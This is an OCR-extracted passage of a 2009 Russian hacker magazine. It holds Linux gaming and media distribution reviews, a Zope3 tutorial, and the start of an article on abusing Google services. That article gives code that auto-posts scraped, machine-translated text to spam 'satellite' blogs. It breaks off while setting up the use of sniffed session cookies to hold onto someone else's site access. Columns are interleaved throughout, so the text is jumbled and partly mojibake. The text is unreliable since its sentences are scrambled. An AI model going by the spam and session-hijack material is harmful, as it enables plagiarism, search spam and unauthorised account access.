несколько другого назначения. Для Linux релиз 0.7 основан на Ubuntu 8.10 Intrepid пы энтузиастов, задавшихся целью представить
написано достаточно софта, при помощи кото- Ibex. Дистрибутив выполнен в виде LiveDVD Linux-игры на конференции LinuxTag. Результа-
рого можно не только просматривать видео и с возможностью установки на хард, для чего том должно было стать решение, позволяющее
слушать музыку, но и самостоятельно создавать используется штатный инсталлятор Ubuntu. играть в популярные игры прямо с CD/DVD-
мультимедиа контент. Как раз такие программы Как и прародитель, ArtistX достаточно прост в диска, без установки на хард, что и отражено
в девизе проекта — boot ‘n play («загрузись и
играй»). Требования, несмотря на кажущуюся
Состав Ubuntu Studio простоту задания, были выдвинуты довольно
Мощный редактор аудиозаписи и сведения Ardour, редактор звуковых файлов Audacity, жесткие — запуск на большинстве 32-битных
драм-машина Hydrogen, звуковой сервер-демон JACK, инструмент мастеринга JAMin, систем с максимальной поддержкой оборудо-
нотный редактор LilyPond, программа для микширования Mixxx, MIDI/Audio синтезатор вания и простотой управления. Изначально
MusE, MIDI-секвенсор Rosegarden, программный MIDI-синтезатор TiMidity++, CinePaint группа была разделена на 2 лагеря. Первый
для раскраски и ретуширования видеокадров, нелинейные редакторы PiTiVi и Kino, тестировал известные дистрибутивы, оценивая
Stopmotion для покадрового создания видео, Blender для создания трехмерной компью- результат; второй — пытался создать все с нуля.
терной графики. Последний включает в себя средства моделирования, анимации, ренде- В итоге первой банде так и не удалось найти
ринга, постобработки видео, создания интерактивных игр, Synfig для создания двумерной оптимальное решение (но некоторый результат
векторной анимации, а также не нуждающиеся в представлении Gimp, Inkscape и Scribus. все же получен и вскоре будет продемонстриро-
ван). Соперникам повезло больше: они создали

100 XÀÊÅÐ 10 /130/ 09


linuX-gamers Live полностью реализует
идею «boot ‘n play» Рабочий стол eAR OS

нужный LiveDVD на основе Arch Linux. Релиз, представлен-


ный на LinuxTag 2007, сразу привлек внимание посетителей EAR OS 1.10B FREE EDITION INFO
и пользовался заметным успехом. Текущая версия 0.9.5 ÎÑ: EAR OS 1.10B FREE EDITION
создавалась специально для LinuxTag 2009. ÑÀÉÒ ÏÐÎÅÊÒÀ: WWW.EAROS.DK
На странице закачки предлагается 4 варианта дистрибутива: ÄÀÒÀ ÂÛÕÎÄÀ: 23 ÈÞÍß 2008 ÃÎÄÀ
Lite ISO (700 Мб), Big ISO (4,7 Гб), Lite USB (1 Гб), Big USB (5 Гб). ËÈÖÅÍÇÈß: GNU GPL info
Список всех игр, входящих в комплект, можно просмотреть на ÀÏÏÀÐÀÒÍÛÅ ÏËÀÒÔÎÐÌÛ: I386 • PVR — персональ-
странице live.linux-gamers.net/?s=Games. Все, что выделено ÑÈÑÒÅÌÍÛÅ ÒÐÅÁÎÂÀÍÈß: CPU 1 ÃÃÖ, 256 MÁ RAM, ный видеорекордер.
жирным шрифтом, представлено только в Big. В перечне на- 3 ÃÁ HDD
ходим Armagetronad, Extremetuxracer, X-Moto, Urban Terror, ÎÑÍÎÂÍÛÅ ÊÎÌÏÎÍÅÍÒÛ: KERNEL 2.6.24, GLIBC • О MythTV читай
Warsow, Tremulous и прочие радости геймера. В комплект 2.7, GCC 4.2.3, UDEV 117, XORG 1.4.1GIT, FIREFOX 3.0, в статье «Строим
традиционно включается несколько версий проприетарных ATI 8.3, WINE 1.0.0 домашнюю меди-
драйверов для карт NVIDIA и ATI (это единственные ком- ÐÀÇÐÀÁÎÒÊÎÉ ÄÈÑÒÐÈÁÓÒÈÂÀ EAR OS ÇÀÍÈÌÀÅÒÑß астанцию», опубли-
поненты, распространяющиеся не под GNU GPL), а также ÄÀÒÑÊÀß ÊÎÌÏÀÍÈß AUDIO REALITY, ÑÏÅÖÈÀËÈ- кованной в июльском
открытые драйвера для других видеокарт. ÇÈÐÓÞÙÀßÑß ÍÀ ÏÐÎÄÀÆÅ ÎÁÎÐÓÄÎÂÀÍÈß ÄËß номере z за 2007 год.
В загрузочном меню можно протестировать ОЗУ и CPU, а ÄÎÌÀØÍÈÕ ÌÅÄÈÀÖÅÍÒÐÎÂ.
также запустить Space Invaders без загрузки системы. В про- • Статью «Мой умный
цессе предлагается выбрать язык раскладки (здесь лучше Пользователям предлагаются 2 версии: платная и бесплатная, дом — моя крепость»,
оставить английскую) и указать видеодрайвер. Это все. Если — обе базируются на Ubuntu, ядра собраны с Real-Time патчами. посвященную дист-
видеокарту определить не удалось, то попадешь в консоль. В Enterprise Edition несколько изменен интерфейс, улучшена рибутиву LinuxMCE,
Ничего страшного в этом нет. Регистрируемся с учетной производительность, а также доступны дополнительные воз- читай в июньском но-
записью «gamer» с пустым паролем; для настроек исполь- можности, вроде дистанционного управления и поддержки IEEE мере z за 2009 год.
зуем «root» с пустым паролем (учитывая, что некоторые игры 1394 аудио. Загружаемся с LiveCD и ставим на хард при помощи
сетевые, это не есть хорошо; в ранних версиях был пароль мастера, вызываемого щелчком по значку на рабочем столе. В ка-
«123456», теперь его зачем-то убрали). Далее удаляем /etc/ честве учетной записи разработчики рекомендуют использовать
X11/xorg.conf и вводим «startx». После этого обычно все earmusic с аналогичным паролем. После загрузки автоматически
работает. В качестве рабочего стола использован легковес- стартует Firestarter, помогая настроить правила iptables и рас-
ный Blackbox. Для запуска игры достаточно нажать нужную шарить доступ в интернет. В панелях и на рабочем столе находим
ссылку в панели внизу экрана или выбрать ее в контекстном некоторые апплеты, позволяющие запустить приложения, произ-
меню. В этом же меню находим еще несколько приложений — вести настройки сети, выставить требуемое разрешение экрана,
Firefox, XChat, Xterm, Alsamixer и другие. Если планируются установить пакеты и драйвера и даже получить данные о погоде.
сетевые баталии, вызываем консоль и запускаем wicd для Интерфейс изначально не локализован, но это решаемо: выбира-
настройки сети. Все просто и понятно. ем в меню Language Support и в списке — нужный язык. Внизу
Дистрибутив изначально планировался исключительно для экрана красуется панель SimDock с несколькими значками,
работы с привода и не имел инструментов для установки на предназначенными для запуска основных приложений: браузера
хард, но по многочисленным просьбам такую работу уже прове- Firefox (поставляется с плагином Mediaplayer Connectivity), зву-
ли. Желающие могут использовать скрипт /opt/bin/hddinstall. кового редактора Audacity 1.3.4b, медиа-проигрывателя Kaffeine
Следует помнить, что он носит статус экспериментального и пе- 3.5.9, программы для записи CD и DVD дисков K3b, фотоорганай-
ред установкой удаляет все данные на жестком диске, поэтому зера F-Spot, IM-клиента Pidgin, графического редактора Gimp
его рекомендуют пока только для тестирования! 2.4.5, музыкального проигрывателя Exaile и Control Center. Самой
Альтернативой linuX-gamers является SuperGamer первой расположена кнопка для запуска eAR Media Centre, кото-
(supergamer.org). Этот дистрибутив построен на VectorLinux рый собственно и является главной особенностью дистрибутива.
(первая версия была основана на PCLinuxOS). Для его С его помощью можно посмотреть видео, фото, TV, онлайн-транс-
записи и использования понадобится привод, поддержива- ляцию, послушать музыку и т.д. Отсюда доступны все основные
ющий Dual Layer DVD, так как образ занимает 7,8 Гб. В меню приложения, включая Skype (которого почему-то нет ни в одном
XFce, помимо большого количества приложений, находим из меню), выход на YouTube и Flickr. Имеются все необходимые
ярлыки для запуска 33 популярных игр: Quake Wars, Doom плагины и кодеки. Недостающее легко установить при помощи
3, Prey, Unreal Tournament, Quake 4, OpenArena, Btanks, Synaptic; дистрибутив использует Ubuntu, Medibuntu и WineHQ
Supertuxkart, Neverball, Scorched3d, Warzone и т.д. репозитарии (а это более 15000 пакетов). z

XÀÊÅÐ 10 /130/ 09 101


CODING
ВАДИМ ШПАКОВСКИЙ SHPAK.VADIM@GMAIL.COM

WEB ×ÅÐÅÇ
ZOPE
 ÏÐÅÄÛÄÓÙÅÌ ÍÎÌÅÐÅ ÆÓÐÍÀËÀ ÁÛË ÑÄÅËÀÍ ÎÁÇÎÐ ÑÀÌÛÕ
ÏÎÏÓËßÐÍÛÕ ÏÈÒÎÍÎÂÑÊÈÕ WEB-ÔÐÅÉÌÂÎÐÊÎÂ. ÏÐÎÄÎËÆÀß ÒÅÌÓ,
ÑÅÃÎÄÍß ÌÛ ÏÎÄÐÎÁÍÎ ÐÀÑÑÌÎÒÐÈÌ ÎÄÈÍ ÈÇ ÍÈÕ, À ÈÌÅÍÍÎ —
ÎÁÇÎÐ ÏÈÒÎÍÎÂÑÊÎÃÎ
WEB-ÔÐÅÉÌÂÎÐÊÀ
ZOPE

ZOPE.

ZOPE2 хождения этого этапа работать с Zope снова заданной функциональностью, которая описы-
В 1998 году сотруднику компании Digital становится легче. вается с помощью интерфейсов.
Creations, Python-специалисту, Джиму Фултону • Каждый компонент можно заменить на любой
было предложено прочитать лекцию по CGI ZOPE3 другой с таким же интерфейсом (можно про-
(стандарт интерфейса, используемого для Проект Zope3 начался в 2001 году, когда Zope вести аналогию с моделью провайдеров в ASP.
связи внешней программы с веб-сервером — в Corporation экспериментировала с компонент- NET). Таким образом, компоненты выполняют
то время был стандартом для Питона в вебе). ной архитектурой. Главной целью было разбие- один и тот же функционал, но разными спосо-
Согласно легенде, он ничего о CGI не знал, и ние объектов Zope2, которые сильно разраста- бами. А программист выбирает из них наиболее
его начальнику, пока они летели в самолете, лись в объеме, на более мелкие — компоненты. подходящий.
пришлось рассказать ему основы CGI. С этой Другой целью стало сглаживание кривой • Данные также представляются в виде объ-
лекцией Фултон и выступил на конферен- обучения: Zope2 был слишком сложным, чтобы ектов, которые хранятся в ZOBD (Zope Object
ции. Говорят, что протокол ужаснул его своей внедрить в него компонентную архитектуру. Database).
чрезмерной простотой, и он решил создать Поэтому приняли решение полностью его пере- • Мощный механизм HTML/XML-шаблонов.
что-нибудь объектно-ориентированное. Так писать, включив в новый проект компонентную • Широкие возможности для тестирования.
началась история Zope. Вскоре компания архитектуру и все сильные стороны Zope2. Так • Многие из фишек Zope можно использовать
Digital Creations переименовалась в Zope появился Zope3, образовав две ветки про- и вне его.
Corporation и начала выпускать свой продукт дуктов Zope, которые не обладали обратной
под собственной Open Source лицензией ZPL. совместимостью. КОМПОНЕНТ КОНТЕНТА
Деньги же они зарабатывают за счет создания Однако было уже написано слишком много Zope-приложение состоит из компонентов.
сайтов и консультаций. В 2000 году в ее состав кода под Zope2, чтобы забросить эту ветку. В Один из типов компонентов — это компонент
вошли создатели языка Python, которых воз- результате, обе ветки разрабатываются па- контента. Он предназначен для хранения
главлял Гвидо ван Россум (правда, сам Гвидо раллельно (на сентябрь 2009 года последними данных. Отвечает за хранение и апдейт, но не
пробыл в Zope Corporation только до 2003 года, стабильными версиями являлись 3.4.0 и 2.11.3). за представление данных или их обработку.
после чего уволился и сейчас благополучно Нововведения в Zope3 слишком заманчивы, С его помощью данные отделяются от логики
работает в Google). Zope2 приобрел большую чтобы их игнорировать. Поэтому был запущен и представления. Но также есть возможность
популярность благодаря своим особенностям. проект Five, который позволял использовать хранить данные прежним способом, например
Во-первых, данные представлялись в виде некоторые технологии Zope3 в Zope2. Five был в реляционной базе данных. В этом случае Zope
объектов (что было нетипично для веба), а интегрирован в Zope2, начиная с версии 2.8. предоставляет механизм ORM, с помощью ко-
во-вторых, появилась возможность настраи- С каждой новой версией в Zope2 становится торого происходит конвертация реляционных
вать компоненты напрямую через браузер. возможным использовать все больше и больше данных в объекты и наоборот.
Для написания простого приложения стало фишек Zope3.
требоваться гораздо меньше знаний и сил. Но Далее я буду рассматривать именно Zope3. АДАПТЕРЫ И УТИЛИТЫ
переход к большим серьезным проектам уже Адаптер — это объект, который служит своего
был не так-то прост. Появился даже термин ОСНОВНЫЕ КОНЦЕПЦИИ рода «переходником» между двумя другими
«Z-образная кривая обучения», который В основе многих особенностей Zope лежит его объектами, которые из-за разных интерфейсов
означает, что поначалу Zope сильно облегчает объектно-ориентированность: не могут взаимодействовать напрямую. По
жизнь, но затем требует больших усилий для • Zope-приложение представляет собой сути, адаптер превращает вызовы внешнего
понимания модели разработки. После про- коллекцию компонентов — объектов, с четко объекта в вызовы методов внутреннего.

102 XÀÊÅÐ 10 /130/ 09


Утилита отличается от адаптера тем, что не взаимодействует с другими
компонентами, а просто предоставляет некоторую функциональность.

КОНФИГИ
Все компоненты регистрируются в специальном реестре компонентов.
Кроме информации о зарегистрированных компонентах, там также хра-
нятся настройки приложения — конфиги. Для регистрации используется
специальный XML-подобный язык разметки ZCML (Zope Configuration
Markup Language). Файл конфигурации имеет имя и расширение
configure.zcml и располагается в папке проекта. Для включения проекта
в состав действующих доступных пакетов Zope необходимо дополни-
тельно в папку etc\package-includes\ экземпляра сервера поместить
файл с именем my_project_name-configure.zcml, содержащий строку
<include package=«my_project_name»/>.

DTML
Document Template Markup Language (DTML) — средство создания
страничных шаблонов, которые поддерживают динамический контент.
Он основан на тегах и скриптовом языке, и используется на стороне
сервера (в отличие от JavaScript, который работает на стороне клиента).
DTML-теги поддерживают два формата: Extended Python format strings
СТРУКТУРА ZOPE-ПРИЛОЖЕНИЯ
(EPFS) и HTML. Формат EPFS основан на заключении питоновских строк
текста в круглые скобки для задания границ блоков кода. Дополни- — блочный тег title будет оставлен, но его содержимое «The Title» будет
тельный параметр форматирования позволяет указать детали преоб- заменено значением атрибута «template/title». Кроме того, существует
разования данных; например: %(date fmt=DayOfWeek upper)s позволяет много других полезных операторов (например, repeat, для циклов, или
преобразовать дату как день недели заглавными буквами. Формат HTML condition, для проверки условий).
использует синтаксис HTML на стороне сервера для кодирования команд
вставки текстов в формируемый документ. Как и HTML-теги, тег DTML ИНТЕРФЕЙСЫ
может содержать список атрибутов с присвоением значений (имя атри- Интерфейс в Zope выполняет такие же функции, что и интерфейсы Java
бута можно не указывать). Для примера, получим информацию о текущем или C#. Интерфейс определяется как питоновский класс, наследуемый
запросе клиента с помощью объекта REQUEST. Для этого необходимо от специального класса Interface. Предположим, что нам надо создать
создать страницу DTML следующего вида: проект книги рецептов. Вот как будет выглядеть интерфейс для получе-
ния информации о рецепте:
<html>
<body> from zope.interface import Interface
<dtml-var REQUEST html_quote> class IRecipeInfo(Interface):
</body> """Give information about a recipe."""
</html> def getName():
"""Return the name of the dish."""
ZPT def getIngredients():
DTML-страницы имеют ряд недостатков, главный из которых то, что они """Return a list of ingredients."""
не предназначены для дизайнеров, работающих с HTML. Как только на
HTML-странице появляется код DTML, результат обычно становится Интерфейсы, как и классы, поддерживают наследование. Если требуется
непригодным для редакторов и браузеров. В DTML не совсем удачно раз- изменять содержимое рецепта, можно определить следующий интер-
делены представление информации, логика формирования документа и фейс, который будет включать методы интерфейса IRecipeInfo:
контент, из которого документ формируется. Это может затруднить масшта-
бирование содержимого и разработку самого сайта. Наконец, модель про- class IRecipe(IRecipeInfo):
странства имен в DTML имеет слишком много скрытых нюансов при работе """Give and store recipe’s information."""
с объектами и не допускает полного программного управления поиском. def setName(name):
По прогнозам авторов Zope3, язык DTML лишен в будущем перспектив и """Set the name of the dish."""
будет удален. Подходящей альтернативой являются страничные шаблоны def setIngredients(ingredients):
ZPT (Zope Page Template), при работе с которыми приходится иметь дело с """Set the recipe’s ingredients."""
языком TAL — расширением языка HTML/XML. Отличие от XML в том, что
атрибут тега начинается с ключевого слова tal и отделяется от имени опе- Если компонент хочет реализовать определенный интерфейс, надо исполь-
ратора двоеточием. Значение атрибута заключается в кавычки. Включе- зовать такой синтаксис (возможна реализация нескольких интерфейсов):
ние текста может производиться двумя способами: заменой тега и заменой
содержимого тега. Замена тега на значение производится оператором from zope.interface import implements
tal:replace = выражение. Если необходимо включить текст внутри тега, но from worldcookery.interfaces import IRecipeInfo
оставить сам тег, то используется оператор tal:content = выражение. На- class RecipeInfo(object): implements(IRecipeInfo)
пример, во фрагменте: def __init__(self, name=u'', ingredients=[]):
self.name = name
<head> self.ingredients = ingredients
<title tal:content="template/title"> def getName(self):
The Title return self.name
</title> def getIngredients(self):
</head> return self.ingredients

XÀÊÅÐ 10 /130/ 09 103


CODING

указанной директории необходимые для функционирова-


ния сервера файлы и папки.
4) Для запуска сервера надо запустить скрипт bin/runzope
(или runzope.bat в Windows). Способ хорош при разработке
приложения и не подходит для запуска готового продукта,
так как он связан с терминалом. Чтобы сервер работал и при
закрытии терминала, его необходимо запускать с помощью
скрипта bin/zopectl с параметром start. Для остановки запу-
сти тот же скрипт с параметром stop. Но работает только для
Unix-систем (под Windows нужно провести более сложные
махинации).
ZOPE MANAGEMENT INTERFACE (ZMI) 5) Для создания нового проекта необходимо создать дирек-
торию <Zope_server_dir>/lib/python/<app_name>.
6) Одна из особенностей Zope — его интерфейс управления
(ZMI), который доступен после запуска сервера по адресу
В отличие от Java или C# интерфейсов, класс, который реа- http://localhost:8080/manage.
лизует Zope-интерфейс, не обязан определять все методы
HTTP://WWW этого интерфейса. Ошибка возникнет только во время вы- ОСНОВНЫЕ ФАЙЛЫ
полнения, когда произойдет обращение к неопределенному Zope3 устанавливается, как и все прикладные пакеты Питона, в
links методу. папку <Python_dir>\Lib\site-packages, — часть инсталляцион-
• http://zope.org — В модуле zope.interface есть несколько полезных ных файлов располагается в папке <Python_dir>\Scripts. В ди-
официальный сайт. методов. Например, метод alsoProvides(obj, IRecipe) ректории экземпляра сайта имеются папки bin, etc, lib. log и var.
подписывает объект obj (и только объект, а не класс!) Папка bin сайта содержит код и командные файлы для за-
• http://wiki.zope.org/ на выполнение интерфейса IRecipe. Чтобы сделать то пуска системы на исполнение (в частности, runzope.bat).
zope3/Zope3Wiki — же самое для всего класса Recipe, необходимо вы- Папка etc содержит конфигурационные файлы сайта.
если нет проблем звать метод classImplements(Recipe, IRecipe). Метод Например, в файле etc/zope.conf хранятся все настройки
с английским, то verifyObject(IRecipe, obj) из модуля zope.interface.verify сервера и базы данных. Секция server определяет порты
здесь можно найти проверяет, реализует ли объект интерфейс полностью. протокола TCP/IP 8080 для http-сервера и 8021 для FTP-
много полезного. Метод verifyClass выполняет такую же функцию для клас- сервера. Секция zodb определяет расположение файла
сов. объектной базы данных. Секции accesslog и eventlog
• http://zopelada.ru, определяют местоположение журналов сайта для регистра-
http://zope3.ru, http:// СХЕМЫ ции событий. Файлы principals.zcml и securitypolicy.zcml
zope.net.ru — русско- Описанный выше подход с определением интерфейсов конфигурируют параметры допущенных пользователей
язычные ресурсы. с get- и set- методами не очень питоничен, особенно для сайта (принципалов) и их роли. Файл site.zcml — главный
простых объектов, которые просто хранят данные. Для конфигурационный файл сайта, с ссылками на отдельные
питоновских объектов характерна работа с аттрибутами на- разделы, определяющие детали настроек системы.
INFO прямую. Реализуется с помощью механизма схем следую- Папка etc\package-includes содержит небольшие файлы на
щим образом: языке ZCML. Они определяют включение различных паке-
тов в текущую конфигурацию сайта. Эта папка пополняется
from zope.interface import Interface администраторами или разработчиками новых компонент
info from zope.schema import List, TextLine при необходимости расширить функциональность сайта.
• Код Zope3 содержит class IRecipe(Interface): Папка lib\python предназначена для размещения новых
более 5000 автома- name = TextLine( пакетов, определяющих особенности данного сайта. Для
тических тестов, что title=u"Name", подключения пакета необходимо добавить ссылку на него в
значительно увели- description=u"Name of the dish", папку etc\package-includes.
чивает его стабиль- required=True) Папка log содержит файлы журналов, просмотр которых по-
ность, особенно при ingredients = List(title=u"Ingredients", зволяет администратору или программисту проанализиро-
внесении крупных description=u"List of ingredients.", вать последовательность событий и провести диагностику
изменений. required=True, ошибок, возникающих при отладке новых пакетов.
value_type=TextLine(title=u"Ingredient")) Папка var содержит файлы ZODB.
• В 2006 году появил-
ся Grok — идейный В действительности, схемы являются теми же самыми ин- ZOPE MANAGEMENT INTERFACE (ZMI)
продолжатель Zope3! терфейсами, поэтому отличие между ними только внешнее. Среда Zope3 является одновременно сетевым сервером
— публикатором хранимых на сервере в объектной базе
УСТАНОВКА данных экземпляров компонент и средством разработки
1) Установить Питон (если вдруг он все еще не стоит). сетевых приложений. Сетевые приложения могут разраба-
2) Установить Zope (установщик можно скачать с официаль- тываться как в режиме TTW (через сеть) с использованием
ного сайта или взять на диске). вышеупомянутого ZMI, так и в режиме создания файлов
3) Чтобы начать работать с Zope, необходимо создать, по проекта средствами файловой системы.
крайней мере, один экземпляр Zope-сервера, который кро- Уже упоминалось, что ZMI — это интерфейс управления,
ме сервера также содержит экземпляр базы данных (никто который позволяет управлять содержимым Zope. Кроме
не мешает создать несколько таких экземпляров). Для этого того, он дает возможность динамически управлять настрой-
нужно запустить mkzopeinstance.bat, который находится в ками сервера во время его работы (закладка «Сервер»). В
папке <Python_dir>/Scripts, указать директорию экземпляра левом верхнем углу находится навигатор — иерархическая
сервера, имя администратора и пароль. Скрипт создаст в структура объектной базы данных. В нем представлены две

104 XÀÊÅÐ 10 /130/ 09


>> coding

ЧЕРЕЗ ZMI МОЖНО ПОЛУЧИТЬ ИНФОРМАЦИЮ О ЗАПУЩЕННОМ СЕРВЕРЕ

категории объектов — простые объекты и контейнеры. Ниже располо- <include package="helloworld" />
жены другие блоки, включая меню «Добавить». Остальную часть экрана </configure>
занимает рабочая область, в которой производятся различные операции
над объектами. 5. Последний шаг — написание конфига configure.zcml, который нужно
разместить в директории только что созданного пакета lib/python/
HELLO, WORLD! helloworld. Этот конфиг регистрирует представление страницы с именем
В качестве демонстрационного примера напишем страницу, которая вы- helloworld и открытыми правами доступа, использующей объявленный
водит надпись «Hello, world!». нами класс HelloView:
1. Создаем директорию для пакета: /lib/python/helloworld.
2. В ней создаем пустой файл __init__.py (чтобы Питон трактовал ее как <configure
пакет). xmlns="http://namespaces.zope.org/browser">
3. Тут же создай файл browser.py со следующим содержимым: <page
for="*"
from zope.publisher.browser import BrowserView name="helloworld"
class HelloView(BrowserView): permission="zope.Public"
def __call__(self): class=".browser.HelloView"
return """ />
<html> </configure>
<head>
<title>Hello World</title> 6. Запускаем сервер и переходим по адресу http://localhost:8080/
</head> helloworld. Должна загрузиться страница с надписью «Hello, world!».
<body>
Hello, world! ЗАКЛЮЧЕНИЕ
</body> Zope — очень солидный фреймворк, и в рамках одной статьи трудно
</html>""" упомянуть все его возможности, не говоря о том, чтобы рассмотреть
их подробно. Хочешь больше? Советую посетить ресурсы, указанные
4. Регистрируем пакет helloworld. Для этого в директории etc/package- на полях. Там можно найти пару неплохих статей для начинающих.
includes создадим файл hellow orld-configure.zcml, содержащий строки: Для серьезного изучения я рекомендую книгу Суханова «Введение в
Zope3». При небольшом объеме в ней рассматриваются все основные
<configure концепции. Книгу можно найти на диске z в разделе «Литература».
xmlns="http://namespaces.zope.org/zope"> Удачи! z

XÀÊÅÐ 10 /130/ 09 105


CODING
ЛЕЙТЕНАНТ РОМАН «PREDIDENTUA» ХОМЕНКО / HTTP://TUTAMC.COM/

GOOGLO
ñåðâèñû äëÿ õàêåðà
ÎÂËÀÄÅÂÀÅÌ ÑÅÐÂÈÑÀÌÈ ÌÅÃÀÊÎÐÏÎÐÀÖÈÈ
Ñ ÏÎÌÎÙÜÞ PYTHON’A

ÌÍÎÃÈÅ ÍÀØÈ ÊÎËËÅÃÈ ÍÀÇÛÂÀÞÒ GOOGLE «ÊÎÐÏÎÐÀÖÈÅÉ


ÇËÀ». ÑËÎÆÍÛÉ ÂÎÏÐÎÑ! ËÈ×ÍÎ ß ÍÈ×ÅÃÎ ÏËÎÕÎÃÎ Â ÄÀÍÍÎÉ
ÎÐÃÀÍÈÇÀÖÈÈ ÍÅ ÂÈÆÓ, ÏÎÑÊÎËÜÊÓ ÎÍÀ ÑÎÂÅÐØÅÍÍÎ ÁÅÑÏËÀÒÍÎ
ÏÐÅÄÎÑÒÀÂËßÅÒ ×ÅÑÒÍÛÌ ÏÐÎÃÐÀÌÌÈÑÒÀÌ ÌÍÎÆÅÑÒÂÎ ÏÎËÅÇÍÛÕ
ÑÅÐÂÈÑÎÂ È ÇÀÌÅ×ÀÒÅËÜÍÛÉ API ÄËß ÈÕ ÈÑÏÎËÜÇÎÂÀÍÈß.

query.feed = '/feeds/default/blogs'
SEO & BLOGSPOT feed = blogger_service.Get(query.ToUri())
Перед началом работы с Google слегка подготовимся, установив blog_id = feed.entry[0].GetSelfLink().href.
библиотеки GData и ElementTree (ищи их на диске). Установил? split("/")[-1]
Отлично, подготовительный этап пройден. Самое время поставить
перед собой первую задачу — помочь СЕОшникам с их сателлитами, Этим кодом в переменную blog_id мы сохранили нужный идентифи-
в качестве которых можно использовать гугловский блогохостинг катор. Хотя стоп, не очень-то все это эффективно. Зачем каждый раз
Blogspot. Зайдем на него (http://blogspot.com) и создадим блог, к узнавать айдишник, если он не меняется?
примеру, http://super-puper-hacker.blogspot.com. А теперь напишем Как вариант, можно зайти на блог, нажать на кнопку «добавить новый
код для автоматического постинга. Во-первых, авторизируемся на пост» и, в результате, в браузере появится приблизительно такой
blogspot’е, инициализируя объект blogger_service: текст: www.blogger.com/post-create.g?blogID=3344789329453358925.
Последние цифры этого текста являются идентификатором блога. А
from gdata import service далее мы напишем так:
import gdata, atom
blog_id = 3344789329453358925
blogger_service =
service.GDataService('login@gmail.com','pass') Теперь создадим наш пост как объект gdata.GDataEntry, в котором
blogger_service.source = '][akep' установим свойства title и content и запостим его на блог методом
blogger_service.service = 'blogger' blogger_service.Post:
blogger_service.account_type = 'GOOGLE'
blogger_service.server = 'www.blogger.com' title = "TITLE"
blogger_service.ProgrammaticLogin() text = "TEXT"

Но у нашего аккаунта может быть несколько блогов, которые опо- entry = gdata.GDataEntry()
знаются специальным идентификатором. Попробуем получить id
первого блога: entry.title = atom.Title('xhtml', title)
entry.content = atom.Content(content_type='html',
query = service.Query() text=text)

106 XÀÊÅÐ 10 /130/ 09


НЕКОТОРЫЕ ФАКТЫ О GOOGLE

Google Inc. — àìåðèêàíñêàÿ êîìïàíèÿ, âëàäåþùàÿ ïåðâîé ïî


ïîïóëÿðíîñòè (77,04 %) â ìèðå ïîèñêîâîé ñèñòåìîé Google, îá-
ðàáàòûâàþùåé 41 ìëðä. 345 ìëí. çàïðîñîâ â ìåñÿö.
Google — ñàìûé äîðîãîé áðåíä â ìèðå. Ðûíî÷íàÿ êàïèòàëèçàöèÿ
êîìïàíèè ñîñòàâëÿåò ïðèìåðíî 160 ìëðä. äîëë.
Google ïîíèìàåò áîëåå 100 ÿçûêîâ. Êðîìå ðóññêîãî, óêðàèíñêîãî,
àíãëèéñêîãî, ãðå÷åñêîãî, ëàòûíè, ãýëüñêîãî, õèíäè, çóëóññêîãî,
ýñïåðàíòî, ïåðñèäñêîãî, àðàáñêîãî, èâðèòà, è ìíîãèõ äðóãèõ
ÿçûêîâ, Google òàêæå ïîíèìàåò ÿçûê ïîâàðà Áîðê-Áîðê-Áîðêà èç
«Ìàïïåò-øîó», ÿçûê ðàñû èíîïëàíåòÿí ñ ïëàíåòû Êëèíãîí, ïåðñî- СЕРВИС БЛОГОВ
íàæåé ñåðèàëà Star Trek, íàðå÷èå Ýëìåðà Ôóäà (èç ìóëüòèêà ïðî
Áàãñà Áàííè) è äðåâíèé ïîëóøóòî÷íûé õàêåðñêèé ÿçûê leet.
Âèä ìàäàãàñêàðñêèõ ìóðàâüåâ Proceratium google áûë íàçâàí â urllib.urlencode({'sl': sl, 'tl': tl}),
÷åñòü ñåðâèñà Google Earth, êîòîðûé ïîìîã îòêðûâàòåëþ â åãî data=urllib.urlencode({'hl': 'en', 'ie': 'UTF8',
èññëåäîâàíèÿõ. Àëãîðèòì ðàíæèðîâàíèÿ íàçâàí Page Rank, íå îò 'text': text.encode('utf-8'),
ñëîâà Page (ñòðàíèöà), à îò ôàìèëèè Ëàððè Ïåéäæà — îäíîãî èç 'sl': sl, 'tl': tl})
îñíîâàòåëåé Google. )

В начале кода мы создаем opener, а затем — устанавливаем User-


agent (без юзер-агента гугл переводить откажется). Финальным
blogger_service.Post(entry, '/feeds/%s/posts/ аккордом мы исполняем запрос, передаем все параметры, ориенти-
default' % blog_id) руясь из API Google:
• sl — с какого языка переводим?
Используя этот код, ты можешь взять отсканированный текст какой- • tl — а на какой?
нибудь книги и регулярно постить по страничке из нее на блог, тем • hl — язык интерфейса, этот параметр нам неважен, поэтому пусть
самым получая уникальный контент. Но я лучше предложу другой всегда будет ‘en’.
вариант, а именно — поиск через Google английских текстов опреде- • ie — кодировка текста. Конечно же, используем utf-8.
ленной тематики с последующим переводом их на русский. • text — переводимый текст.
После завершения запроса в переменную translated_page поместит-
ПОИСК ся HTML-код, и вот чтобы извлечь из него чистый текст, мы использу-
Итак, примемся за поиск. Это можно сделать через регулярки и один ем BeautifulSoup. Создадим его объект:
запрос, но к чему напрягаться, коллеги-программеры все давно реа-
лизовали. Мы можем скачать библиотеку xgoogle (на диске она есть), translated_soup = BeautifulSoup(translated_page)
и использовать всего лишь один объект GoogleSearch, которому при
создании нужно передать поисковый запрос, а затем — с шиком ис- Теперь из переменной translated_soup мы можем вытянуть необхо-
пользовать для парсинга страниц метод get_results до тех пор, пока димые данные. Например, мы точно знаем, что переведенный текст
он будет возвращать результат. В конечном счете код будет выглядеть находится в div-элементе HTML’ла с идентификатором result_box;
следующим образом: Стало быть, нужный перевод мы вытянем строкой:

from xgoogle.search import GoogleSearch translated_soup('div', id='result_box')[0].string


gs = GoogleSearch("presidentua")
Вообще, о BeautifulSoup советую отдельно почитать на официальном
results = gs.get_results() сайте www.crummy.com/software/BeautifulSoup. Поверь, эта либа
while results: способна чрезвычайно упростить тебе жизнь.
for res in results:
print res.url ОПЕРА — НЕ ВСЕГДА БРАУЗЕР
results = gs.get_results() Ну, все, хватит помогать СЕОшникам, ведь Гугл полезен и другим
представителям хак-сцены. Посмотрим на сотрудников милиции, они
ПЕРЕВОД владеют актуальной информацией и потому способны к оперативному
Итак, страницы получены, текст — напарсен. А теперь перейдем к реагированию. Не будем от них отставать! Представим ситуацию,
переводу и вспомним Google Translate. В этом сервисе также есть при которой у тебя есть снифер, и нужно получить доступ к сайту,
API для доступа, но он реализован на основе JavaScript-библиотеки, который хранит сессию всего лишь полчаса. Получается, что теперь
поэтому получается, что нам опять чего-то не хватает. Напишем не- тебе придется безотрывно торчать за компом, чтобы быть готовым
